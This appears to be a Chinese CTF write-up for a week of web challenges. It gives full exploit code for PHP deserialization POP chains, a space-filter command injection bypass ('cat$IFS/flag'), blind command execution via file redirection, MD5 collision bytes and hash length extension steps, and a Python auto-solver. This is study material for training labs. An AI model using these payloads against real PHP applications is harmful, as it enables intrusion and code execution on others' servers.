Week2
官方WP
https://j0zr0js7k7j.feishu.cn/wiki/JQbiwKdvtiR49VkMj5RcmPvPn7c
ez_ser
题目描述
简单的反序列化入门,喵喵喵
考点
- php反序列化
题解
题面
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
先分析逻辑,思考如何构建利用链
看到了MIsc类下的getflag()
函数可以获取flag,这便是我们的最终目标
怎样能调用它呢?注意到pwn类下的$this->over->getflag();
,如果$this->over
是MIsc类即可成功调用
$this->over->getflag();
在__get()
魔术方法下,需要当访问不可访问或不存在的属性时触发
观察发现re类的$this->chu0->$nononono;
访问了不存在的$nononono
,我们接下来就需要触发__toString()
魔术方法
web类的echo "lalalla".$this->kw;
存在字符串拼接,可触发__toString()
魔术方法,而__wakeup()
是一个自动启动的方法,当反序列化后变化触发,由此思考结束,利用链为
web->__wakeup() => re->__toString() => pwn->__get($name) => Misc->getflag()
去除掉无用的代码,生成payload
<?php
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public function __wakeup() {
echo "lalalla".$this->kw;
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public function getflag() {
eval("system('cat /flag');");
}
}
$a = new web();
$b = new re();
$c = new pwn();
$d = new Misc();
$a->kw = $b;
$b->chu0 = $c;
$c->dusk = "gods";
$c->over = $d;
echo serialize($a);
?>
得到payload:O:3:"web":1:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":0:{}}}}
,GET传入ser即可
RCEisamazingwithspace
题目描述
RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
考点
- 命令执行
题解
题面
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);
简单审计代码发现,仅过滤了空格,当检测到空格时程序中断
使用$IFS代替空格即可,即POST传入cmd=cat$IFS/flag
IFS是Shell命令中的变量,表示 Internal Field Separator (内部字段分隔符),$IFS
默认是空字符(空格Space、Tab、换行\n)
Really EZ POP
题目描述
你已经学会反序列化了,接下来尝试手动构造 POP 链吧!
考点
- php反序列化
题解
题面
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
老样子,先分析
Sink类的__toString()
魔术方法中存在可控的eval()
函数,找到了利用点,这是我们的目标
Shark类的__invoke()
魔术方法存在字符串拼接,可触发__toString()
魔术方法
Sea类的__get($name)
魔术方法将$sea_ani()
调用为函数,可触发__invoke()
魔术方法
Nature类的__destruct()
魔术方法访问了不存在的属性see,可触发__get($name)
魔术方法
__destruct()
魔术方法在对象销毁时自动触发
至此,利用链分析完毕
但是有些变量是private
而非public
,这就需要我们手动修改下了
先将private
改为public
,生成基础payload
<?php
class Sink
{
public $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
public $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$a = new Nature();
$b = new Sea();
$c = new Shark();
$d = new Sink();
$a->sea=$b;
$b->animal=$c;
$c->word=$d;
$d->cmd="system('cat /flag');";
echo(serialize($a));
?>
得到基础payload:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:4:"word";O:4:"Sink":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}}
对于非public变量,序列化后变量遵循:
\0 + 类名 + \0 + 变量名 ‐> 反序列化为private变量
\0 + * + \0 + 变量名 ‐> 反序列化为protected变量
在浏览器中,可能需要将\0换成%00
因此修改payload为O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:20:"system('cat /flag');";}}}}
POST传参即可
一起吃豆豆
题目描述
大家都爱玩的JS小游戏
考点
- JS代码审计
题解
一个JS小游戏,flag大概率藏在js中,又因为js代码基本都是在浏览器本地运行的,所以我们可以直接进行代码审计
当审计到index.js的第1046行时注意到了一串可疑的base64编码后的字符串,解码后即为flag
你听不到我的声音
题目描述
我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
考点
- 无回显命令执行
题解
题面
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
对于这种无回显命令执行,一是可以直接反弹shell,二是可以通过<
>
来写入文件
比如说可以POST传参cmd=cat /flag > flag.txt
,然后访问/flag.txt路径即可获得flag
所以你说你懂 MD5?
题目描述
所以你说你懂 MD5?
考点
-
php弱比较
-
md5强碰撞
-
哈希拓展攻击
题解
题面
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
观察发现最后可以获得flag,但是前面有五次判断
首先对于第一次判断,传数组即可通过强比较,即apple[]=1&banana[]=2
对于第二次判断,属于md5弱比较,利用0e漏洞即可,即appple=314282422&bananana=571579406
对于第三次判断,属于强比较,并且使用了(string)
,需要进行md5强碰撞,使用fastcoll这个工具即可生成两个内容不一样但是md5值相同的文件,例如apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
对于第四次判断,只要让$md5
的最后5位是admin即可
对于第五次判断,则需要用到哈希长度拓展攻击,可使用工具hashpump
分别传入生成的$name
和$md5
即可
综合即为
apple[]=1&banana[]=2&appple=314282422&bananana=571579406&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=<yourname>&md5=<yourmd5>
数学大师
题目描述
Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
本题依赖 session,请在请求时开启 session cookie
考点
-
python脚本编写
-
requets库的使用
题解
题目要求三秒内算出并提交答案,人写肯定不现实,因此需要用到python脚本,参考脚本如下
import requests
import re
url = "http://challenge.basectf.fun:26945/"
session = requests.session()
response = session.get(url).text
print(response)
while True:
response = response.replace("×", "*")
response = response.replace("÷", "/")
question = re.search(r'\d+[\+\-\*\/]\d+', response).group(0)
answer = eval(question)
post_data = {
"answer": answer
}
response = session.post(url, data=post_data).text
print(response)
if "Base" in response:
break